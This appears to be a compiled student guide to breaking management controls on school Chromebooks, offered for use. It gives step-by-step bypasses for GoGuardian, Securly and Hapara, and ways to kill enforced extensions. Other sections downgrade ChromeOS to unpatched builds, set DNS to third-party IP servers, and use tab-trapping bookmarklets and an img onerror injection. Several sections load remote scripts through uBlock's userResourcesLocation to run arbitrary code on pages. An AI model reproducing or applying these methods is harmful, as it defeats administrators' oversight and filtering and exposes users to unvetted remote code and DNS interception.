CHROMEBOOK SO YOU WILL NEED TO RE DO THE PROCESSFusion 360 exploit Unblocked browser
**Some schools have Fusion360 already downloaded and if it isn’t, then download it through the play store. This exploit opens an unblocked browser inside of Fusion.** What you do is on the sign-up page, click terms of service. Then there is a YT logo at the bottom. Click it to go to the social media page. Next, click Autodesk under the YouTube text. Using this method, you get unblocked YT! For unblocked google, just look up “google.com link is description”. Go to the description and click google.com. Done! The admin can remove apps, so it can still be blocked.Downgrading Change versions
Downgrading can be used for several exploits, to get to a version that does not have patches for certain exploits, sutch as LTBEEF. This is a built in feature of ChromeOS.  Requirements 1. A USB thumb drive with at least 4gb of storage, some board have small or bigger images, I recommend 16gb 2. A personal computer with access to downloading extentions 3. A brain If you do not have these, you **CAN NOT** perform the exploit! Setup 1. Navigate to `chrome://version` on the chromebook you with to downgrade and check for your board under `Platform` (ex I have a c3100 and it's board is stable-channel octopus).
2. Navigate to https://chrome100.dev/ , press `ctrl+f` and type in your board.
3. Find and download the chrome version you want to your personal computer.
Instlation
1. Install Chromebook Recovery Utility onto your personal computer. (found at chrome.google.com/webstore/detail/chromebook-recovery-utili/pocpnlppkickgojjlmhdmidojbmbodfm
2. Open the extention, and click on the settings button in to top right hand corner, and click "use local image".
3. Select the recovery image you downloaded from chrome100.
4. Plug in the USB you wish to use, and follow the prompts on the screen.
5. On your chromebook, press esc+reload+power and follow the prompts.
6. On the checking for updates screen, press `ctrl`+`shift`+`e` to skip the "checking for updates" screen.
7. Profit.
Killcurly Break extensions
Kill extension, by signing out. 1. Visit `chrome://settings/signOut`, the O in Out must be capital. 2. Press the big blue button 3. Go to `chrome://restart` 4. Now visit tinyurl.com/AddSession or this link 5. Add your **SCHOOL** account back. It WILL NOT WORK if you add a home account back. This is just so you can still access Google Drive, Youtube, and any Google service. 6. All extensions should stop working. 7. Note that you have to repeat this every time you restart or sign out. 8. If the link gets patched and you no longer see the blue button, go to `chrome://settings/resetProfileSettings` click current settings, it'll open a blank page, on that page run ```js javascript:opener.chrome.send("TurnOffSync"); ``` And visit `chrome://restart`. Workaround for `chrome://settings/signOut` and `javascript:opener.chrome.send("TurnOffSync");` if both patched: Just go to `chrome://settings/syncSetup/advanced` and click Customize sync and then flip off the Extensions and Apps or just flip off everything exept for bookmarks **This was discovered by zoroark and Brandon421-ops**Extention Inactivity hack Inactive Extensions
1. First do the Esc+Refresh+Power 2. ctrl+d then enter 3. will give you some bullcrap about dev mode is blocked press enter then you will go to a newly restarted chromebook 4. next add wifi- 5. then sign into your account 6. Immediately turn wifi off before extensions load 7. go to `chrome://settings/signOut` 8. click turn off sync and personalization and then turn wifi back on go to whatever site that is extension blocked. 1. Workaround for chrome://settings/signOut if patched: If the link gets patched and you no longer see the blue button, go to `chrome://settings/resetProfileSettings` click current settings, it'll open a blank page, on that page run ```js javascript:opener.chrome.send("TurnOffSync"); ``` 2. Workaround for `chrome://settings/signOut` and `javascript:opener.chrome.send("TurnOffSync");` if both patched: Just go to `chrome://settings/syncSetup/advanced` and click Customize sync and then flip off the Extensions and Apps or just flip off everything exept for bookmarks Note: Before you do any of this do it at home so that way you don have to worry about asking for the school wifi password.New Temporarily Unblock Anything Temporarily Unblock Any Website
**Might Be Patched on 115 And Above** 1. Go to the chrome-extension://Paste the blocker id here/manifest.json page. 2. Go to a new tab page and type in the URL Website you want to unblock don´t go into that website yet just leave it inside the URL Box. 3. Go back to chrome-extension://Paste the blocker id here/manifest.json now create a bookmark called E now click more and In the URL Box you put `chrome://kill` now save that bookmark. 4. Create another bookmark called D click more In the URL Box copy and paste `javascript:(function () {window.onbeforeunload = function() { return 1; };})()` Into that URL Box and save that bookmark. 5. Go back to chrome-extension://Paste the blocker id here/manifest.json page and now click bookmark B then quickly go back to the new tab page and click enter now quickly spam bookmark D like 2 or more times now there should be a pop up called do you want to close this page click cancel now boom that website is unblocked until you turn off your chromebook or until you exit out of that website then if that happen´s your gonna have to do all the steps again. Easier way for step 2: instead of putting the URL in the new tab box go to chrome-extension://Paste the blocker id here/manifest.json page then click Bookmark E then go to a random website then use the javascript:open('https://YOUR WEBSITE HERE?'+'i'.repeat(1)) Bookmarklet then spam Bookmark D two or more times then a pop up should appear quickly click cancel now boom all done. Name of Bookmarklet > Unblock Website: javascript:open('https://YOUR WEBSITE HERE?'+'i'.repeat(1)) Note: Save chrome-extension://Paste the blocker id here/manifest.json as a bookmark so you don´t have to come back here and type in the URL thing. IMPORTANT NOTE: if bookmarklets are blocked your screwed This workaround was found by Brandon421-opsOld Temporarily Unblock Anything Temporarily Unblock Any Website
1. Make a bookmark called tab close blocker now click more on the bottom left corner now in that URL BOX put `javascript:(function () {window.onbeforeunload = function() { return 1; };})()` 2. Go to a newtab page now go into the URL BOX on the top and put https://YOUR WEBSITE HERE do not click enter yet stay in that URL BOX. 3. Do `search`+`esc` now that should open task manager if `search`+`esc` doesn't work then click the three dots on the top right now scroll down until you find more tools click that and now find task manager click it now boom done with step 3. 4. Find your blocker extension and click it now on the bottom right you should see a button called End process click it now quickly click the URL BOX on the newtab page and click enter now quickly spam the bookmark tab close blocker now a pop up should come up it should have to buttons cancel and leave click cancel and boom done. IMPORTANT NOTE: if bookmarklets are blocked your screwed also if task manager or the End process button for task manager is blocked your double screwed.uBlock Origin Run Code On Pages
if your school allows the ublock origin chrome extension, then running the edpuzzle script (as well as any other bookmarklet) is possible 1. install ublock origin (https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm) 2. go to the extension's settings 3. under the settings tab, check the "i am an advanced user" box and click on the cog icon 4. inside the advanced settings (`chrome-extension://cjpalhdlnbpafiamejdnhcphjbkeiagm/advanced-settings.html`), scroll down and find `userResourcesLocation` now change `userResourcesLocation` from `unset` to https://raw.githubusercontent.com/Brandon421-ops/Exploits-And-Hacks/main/ublockExec.js 5. in the My filters tab of the settings (`chrome-extension://cjpalhdlnbpafiamejdnhcphjbkeiagm/dashboard.html#1p-filters.html`), add `*##+js(execute_script.js)` as a filter 6. now you can press `ctrl`+`alt`+`~` to run any js on the current page 7. if you want to run a bookmarklet, just paste in the javascript: url and press ok on the popupuRun Run Code On Pages
From Inglan2. Recently Google cracked down on bookmarklets and now they don't work (Its based on the DeveloperToolsAvailability policy). He wanted to run scripts still so He started making this, inspired by [uBlock Origin *Run Code On Pages*] but with more features, like saving scripts. 1. Open uBlock settings 2. Enable advanced settings, and click the gear ⚙️ button > [!CAUTION] > DO NOT MODIFY ANYTHING ELSE ON THIS PAGE, UNLESS YOU KNOW WHAT YOU ARE DOING (you probably don't), AS YOU COULD BREAK SOMETHING. > [!TIP] > If you mess up, go to the home of settings and at the bottom click reset to default settings 3. Add the script > Change > ``` > userResourcesLocation unset > ``` > to > ``` > userResourcesLocation https://inglan2.github.io/uRun/urun.js > ``` > [!TIP] > It's down the bottom 4. Set a filter to load uRun > After closing the advanced settings tab, go to the filters tab and add this: > ``` > *##+js(urun.js) > ``` ### Usage Simply press Ctrl + Shift + \` to open the menu and from there you can run and create scripts. To add a script, press the ➕ button up the top right, and enter the code you would like to add (without the `javascript:` part).Snap&Run Run Code On Pages
**Executing scripts with the "Snap&Read" extension.** **Extension Snap&Read must be installed to perform this exploit.** ### Setup The extension needs to be signed in to an active Snap&Read account before you begin. **Instructions.** **Enable the Snap&Read toolbar** - Open the Snap&Read popup by activating the extension. - In the extension popup, enable the Snap&Read service by toggling the Snap&Read switch on. 1. Open the Snap&Read popup by activating the extension. 2. In the extension popup, enable the Snap&Read service by toggling the Snap&Read switch on. 3. In the Snap&Read toolbar, click the Show outlines button. 4. In the Snap&Read outlines panel, click the New outline (+) button at the top left. 5. Enter any text into the outline topic's editable text area. 6. Click the bullet point of the topic. 7. Click the Link to source option. 8. Click the plus (+) button at the bottom right. 9. Click and switch to the WEBSITE tab. 10. In the Article/Page title input field, enter the name of your chosen bookmarklet. 11. In the URL input field, enter the source of the bookmarklet, starting with `javascript:`. **Important:** You may need to substitute escape characters for advanced bookmarklets. 12. Click SAVE at the top right. 13. Click and switch to the OUTLINE tab. 14. In the Snap&Read toolbar, click the Hide outlines button. ### Script Execution **Instructions** Follow on a page of your choice. 1. In the Snap&Read toolbar, click the Show outlines button. 2. In your created outline, click the link separated by parenthasis that contains the bookmarklet. 3. In the Snap&Read toolbar, click the Hide outlines button. 4. Disable the Snap&Read toolbar 5. Open the Snap&Read popup by activating the extension. 6. In the extension popup, disable the Snap&Read service by toggling the Snap&Read switch off. **Disable the Snap&Read toolbar** - Open the Snap&Read popup by activating the extension. - In the extension popup, disable the Snap&Read service by toggling the Snap&Read switch off.Incognito Bypass Extensions
IP Servers: Server 1. 52.207.185.90 Server 2. 158.111.114.159 Step 1. Go to your settings Step 2. Click on the wifi your using rn then click it again. Step 3. Scroll down until you see network once you see the option click it. Step 4. Scroll down until you find custom name servers now once you find the option click it. Step 5. Paste in the IP Server. Step 6. Now there should be a notification saying open new tab click that and now you should be in a small window some instructions and there are 2 buttons click the yellow with black letters button and boom Incognito Mode is Unblocked. One of the buttons are just a link in blue don´t click that one is just for test´s Step 7. Go back to the network settings and change back the custom name servers to automatic name servers. Note: If your connection is slow if your school has more than one wifi then connect to the other wifi that might have a better connection. Btw if you close out of the Incognito Tab your gonna have to do all the steps again. Cool Advanced Facts About Incognito Mode: 1. Bypass Extensions Aka Unblock All Websites. 2. Your History Is Hidden From Your SchoolIncognito On The Sign-In Screen Bypass Extensions/Unblocked Google Webview
Might work but idk if it will IP Servers: Server 1. 52.207.185.90 Server 2. 158.111.114.159 Step 1. On the sign-in screen go to your wifi settings and click on the wifi your using rn Step 2. Then Scroll down until you see network once you see the option click it. Step 3. Scroll down until you find custom name servers now once you find the option click it. Step 4. Paste in the IP Server. Step 5. Now on the network settings click the sign in and now you should be in a small window some instructions and there are 2 buttons click the blue link and boom unblocked webview of google. Cool Advanced Facts About Incognito Mode: 1. Bypass Extensions Aka Unblock All Websites. 2. Your History Is Hidden From Your SchoolChrome-Signin Webview Bypass Extensions
Unblocked Google Step 1. Go to `chrome://chrome-signin` Step 2. Click ok on the bottom right corner Step 3. In the Email text box put `google@d11.org` Step 4. Click `signin options` Step 5. Now click signin with github Step 6. Click the github logo Step 7. In the search box on the top Right type google and then click see more topics then you will see all the google links click `www.google.com` now boom unblocked Google.Chrome-Signin Webview 2 Bypass Extensions
Unblocked Google Step 1. Go to `chrome://chrome-signin` Step 2. Click ok on the bottom right corner Step 3. In the Email text box put `google@d11.org` Step 4. Click `signin options` Step 5. Now click signin with github Step 6 Click forgot password instead of github logo Step 7. Click docs Step 8. Scroll down Step 9. Click ask the GitHub community Step 10. Search google and click the hyperlink on the right Credit to snail for finding this workaround.Microsoft Labs Bypass Extensions
YOU NEED A MICROSOFT ACCOUNT FOR THIS Go to: https://learn.microsoft.com/en-us/training/modules/implement-common-integration-features-finance-ops/10-exercise-1 Next, sign into your Microsoft account, then if it doesn't already, go back to that link Then, hit Launch VM Mode See images attached if needed After it loads it's gonna ask for a password, the password is pass@word1 See images attached if needed Then boom, you are done. It's still kinda limited, like you can't go on Spotify sound doesn't output anyway and it, blocks random sites, but discord 100% works Thanks to a user in TN, I was informed the best vpn to get around the FortiNet thing "Greenhub" on the Edge add-onsQuick View Bypass Extensions
**QuickView is a universal webview exploit in Chrome OS that utilizes the QuickOffice component extension. This exploit lets you create login windows with arbitrary URLs, thus allowing you to load pages without any extensions.** Go to this link and follow instructions WARNING: If `javascript://` is blocked then you can't preform this exploit Credit to ading2210 and Bypassi#7037 for finding this exploitBuypass Temporarily Unblock Websites
Exploit Made By Bypassi#7037 Here's the original github repo of the buypass exploit: Bypassi#7037's Buypass Exploit Github Repo Here's the original website of the buypass exploit: Bypassi#7037's Buypass Exploit Website Here's the forked github repo of the buypass exploit: Brandon421-ops's Forked Buypass Exploit Github Repo Here's 4 alternative websites of the buypass exploit: 1. Buypass Exploit Repl Website 2. Buypass Exploit Glitch Website 3. Brandon421-ops's Buypass Exploit netlify.app Website 4. Bypassi's Buypass Exploit netlify.app Website This Exploit Is Kinda Similar To The Quick View Exploit[Webview] Testnav Exploit Unblocked Webview for either google or a web browser
Step 1. Download Testnav off the webstore/playstore/or run as a kiosk app as some schools have it added as one Step 2. Open it Step 3. After opened it will probably bring you to the page were you select your consumer, click aimsweb/aimsweb plus Step 4. After you click goto select your district in the bottom right corner of the page Step 5. Select “STRATFORD FRIENDS SCHOOL” Step 6. Click the arrow to the right of the selection box Step 7. Click sign in options a) Click sign in with github Step 8. Click the github logo at the top of the screen Step 9. Click the three bars in the top right corner, then goto the search box and type in googleyay Step 11. Scroll down until you see DerDer56/googleyay Step 12. There's several links to choose from, but if there's a link you want that's not there click the Bypassi Redirect Tool (Optional) Step 13. Type in the link you want to go on and click "Go To the URL" Step 14. Click it and you have webview (unblocked browser)Lego WeView Exploit Unblocked Google Webview
**Lego WeView exploit is a WebView that SIMONHSCH discovered in the titanium network.** Tutorial: 1. First you need to install lego wedo 2 from the PlaySore or the Chrome Webstore (recommended). 2. Click the + button at the left bottom 3. Then click to the pen button at the top 4. And click the green button similar to Google Doc Then paste this code: `<img src=# onerror='window.location.href="https://google.com"'>`OP Crosh Disable extensions with crosh and vmc
### Requirements - A managed Chromebook with crosh enabled - The `VmManagementCliAllowed` policy either `unset` or `set` to true - Some form of removable media for noting down extension IDs (only useful for the second method and not required, but this prevents you from mistyping an extension ID). - A willingness to powerwash ### There are two variations to this method: 1. Disabling all extensions. This is probably the most reliable, but you'd be left without useful extensions such as any adblockers. You also aren't able to install anything from the Chrome Web Store either. 2. Disabling specific extensions. This is less reliable, since this only becomes possible once Chrome OS has installed at least one extension already, which could be one that you're trying to disable. ### Testing if the method is possible: 1. Open crosh by hitting `ctrl`+`alt`+`t` . If a command line pops up then you have crosh enabled and you can move on to step 2. 2. Test the `VmManagementCliAllowed` policy by running the `vmc` command. If a list of subcommands is shown, then you're good to go. ### Instructions: 1. Back up any data you want before the powerwash. 2. If you're doing the second variation, note down any extension IDs. You may also want to do this if you intend on disabling all extensions, since sometimes that will fail and require you to specify each extension you want to disable. 3. Powerwash by attempting to enable developer mode. Instructions are available here. 4. Log into your Google account as normal, but immediately disable your internet right after you sign in. 5. You should be logged into your account, but without any extensions installed due to being offline. 6. Here the instructions are split, so follow the one for the method that you want to do. ### Disable All Extensions: 1. Open up crosh by hitting `ctrl`+`alt`+`t` 2. Type in `vmc create-extra-disk --size 1 /home/chronos/user/Extensions` 3. Run that command. 4. If it fails with a "file exists" error, then you must individually specify each extension that you want to remove. Move to step 5 of the next section to do that. 5. Re-enable your internet, and no extensions should be installed. ### Disable Specific Extensions: 1. Navigate to `chrome://extensions`. 2. Enable your internet, and immediately disable it when an extension is installed. 3. Assuming the installed extension was not one that you were trying to disable, move on to step 4. If it was, you'd have to powerwash to try again. 4. Open up crosh by hitting `ctrl`+`alt`+`t`. 5. For each extension you want to disable, run this command: `vmc create-extra-disk --size 1 /home/chronos/user/Extensions/{extension_id}` 6. Each command should look something like this: `vmc create-extra-disk --size 1 /home/chronos/user/Extensions/cjpalhdlnbpafiamejdnhcphjbkeiagm` 7. Re-enable your internet, and if you typed/pasted in the extension IDs correctly, those specific extensions should be blocked from ever being installed. Credit to ading2210 for finding this exploitGoGuardian Fever Disable GoGuardian
IF YOU DO NOT HAVE GOGUARDIAN THIS EXPLOIT WILL NOT WORK FOR YOU Getting Started 1. Obviously (but still needs to be said due to skids in Titanium Network), make sure GoGuardian is actually installed 2. Visit any of the links and copy the text in it and paste it in a newtab Link 1 Link 2 Link 3 3. On that tab there will be a simple white screen with nothing on it, reload the page 4. If the GET request fails and you are left on an error screen (don't panic, this is intended, continue) 5. Visit `chrome://restart` to clear cached sites from GoGuardian Enjoy a free browsing context To undo 1. On goguardian.com, press the lock icon at the top left of the screen 2. Press cookies and site data 3. Click manage cookies 4. Then click clear each site's cookies you see thereDisable GoGuardian With The Chat Disable GoGuardian [Unreliable]
1. wait until your teacher opens the chat window thingy 2. spam the x button until it stops re-opening 3. open the url `chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/manifest.json` 4. open `chrome://extensions/?id=haldlgldplgnggkjaafhelgiaglafanh`, and toggle the “allow access to file:// urls” switch goguardian is now disabled and you can close both tabs made by carteeeeeDisable GoGuardian With The Browsing Disabled Screen Disable GoGuardian
bookmark this tab: `chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/lock.html` 1: Have `chrome://extensions` open 2: Ctrl + click on the bookmark to open it (do this about 70+ times) 3: go quickly to `chrome://extensions` and click on GoGuardian. 4: Click on allow access to file urls very quickly!!! This is discovered by dkr44433.Access Any Website While Browser Is Disabled By GoGuardian Bypass GoGuardian Browsing Disabled
1. save the site as an app (hit the three dots icon, hover over more tools, hit create shortcut and check the box that says open in window) 2. make ur teacher disable your chromebook (make her/he angry) 3. ur disabled but press the unblocked website app and boom (make sure to move the browsing disabled popup)GGSpam Bypass GoGuardian
**Bookmark spam exploit for GoGuardian Haven't test on differnet exploits yet.** ### Requiaments: - Bookmarks enabled - A working Brain - Fast Hand **Instructions** Step 1: Find the link you want to bypass. Step 2: Bookmark the link. Step 3: Spam it until it unblocks Works on GoGuardian Extra Info: If it doesn't work then turn off wifi and spam until you website loads on the search bar then turn on wifi.GoGuardian TabCrash Disables GoGuardian Actions w/TAB LIMIT
**Teacher's can still see your screen, but they can't block or close any of your tabs.** **YOUR TEACHER NEEDS TO HAVE SET A TAB LIMIT. TRY OPENING TONS OF TABS TO CONVINCE THEM TO ENABLE TAB LIMITS**. 1. create a bookmark named anything: `javascript: window.onbeforeunload = ()=>{return false;}` 2. Hold down CTRL and then SPAM CLICK the bookmark until you're well above the tab limit, opening a bunch of `about:blank` pages. 3. It might ask if you want to leave this page, this is goguardian trying to close it. Say No, and click `Prevent from creating additional dialogues`. 4. Enjoy your unblocked stay! To undo: close all of your `about:blank` tabs #### Discovered by @py660GoGuardian TabCrash 2 Disables GoGuardian Actions w/TAB LIMIT
**If your teacher has turned on the tab limit you can bypass this with an extension. If the extension is blocked, sorry.** Step 1. Download the extension Read Aloud: A Text to Speech Voice Reader Step 2. Use one of your tabs to go to IReady or Scratch. You just need a site that would display the error when you close the tab "Are you sure you want to close this site? Unsaved changes could be lost." Step 3. When you have the site with unsaved changes, click the extension until you see the error. Click cancel on the error. Step 4. The extension should have opened some tabs which say: "Read Aloud uses this tab for audio playback." Step 5. If you saw the error and clicked cancel, you should have bypassed the tab limit.Insecurly Toggle the Securly extension
**ONLY FOR SECURLY USERS** Go to this link and follow instructions If blocked then go cry in a corner Credit to Bypassi#7037 for finding/Making this exploitA Bypass For Securly and a few of other blocker extensions Manipulate any website so securly or any other blocker extension can't block it
At any URL put #translate.google.com at the end of it or put ?suicidepreventionlifeline.org at the end of it and bam you just unblocked a website by Manipulating the URL This only works for securly and some other blocker extensionsGlitch through securly Unblock any website blocked from securly
**This only works if your admin/school uses securly. Not sure if this can be blocked or not. So im going to do this step by step** 1. Go to the blocked site you want to access 2. Once it shows the blocked page copy the url it shows 3. Go to the url bar and delete everything between https:// and the first "?" 4. Paste the website url 5. press enter and voila it should be unblocked 6. Have fun confirmed working with xbox cloud gaming and now.gg If it doesn't work then go cry.SOT Exploit Unblock any website or Open any website in a about:blank page
1. Download this extension One Tab 2. Click the import button in the settings tab. 3. Copy-paste the URL you wish to visit about 100 times, and then click import. 4. Spam click the top link, then either spam escape on one of them or wait for one to load on a about:blank page. Credit to Coding4HoursChaos A full bypass method for Hapara Highlights and Hapara Filter
**Devtools must not be blocked by policy to perform this exploit.** Go to this link and follow instructions If blocked then go cry in a cornerFilter session bypass Bypass hapara filter session
Bookmark this link: filtersessionbypass.txt During a filter session, right click the link, and press "Open in a new tab" Then insert the URL for any website you want to go to. Make sure to include https://If it says "website name refused to connect", try using a web proxy.
Also this dosn't bypass blocker extentions so use an unblocked link, or another exploit.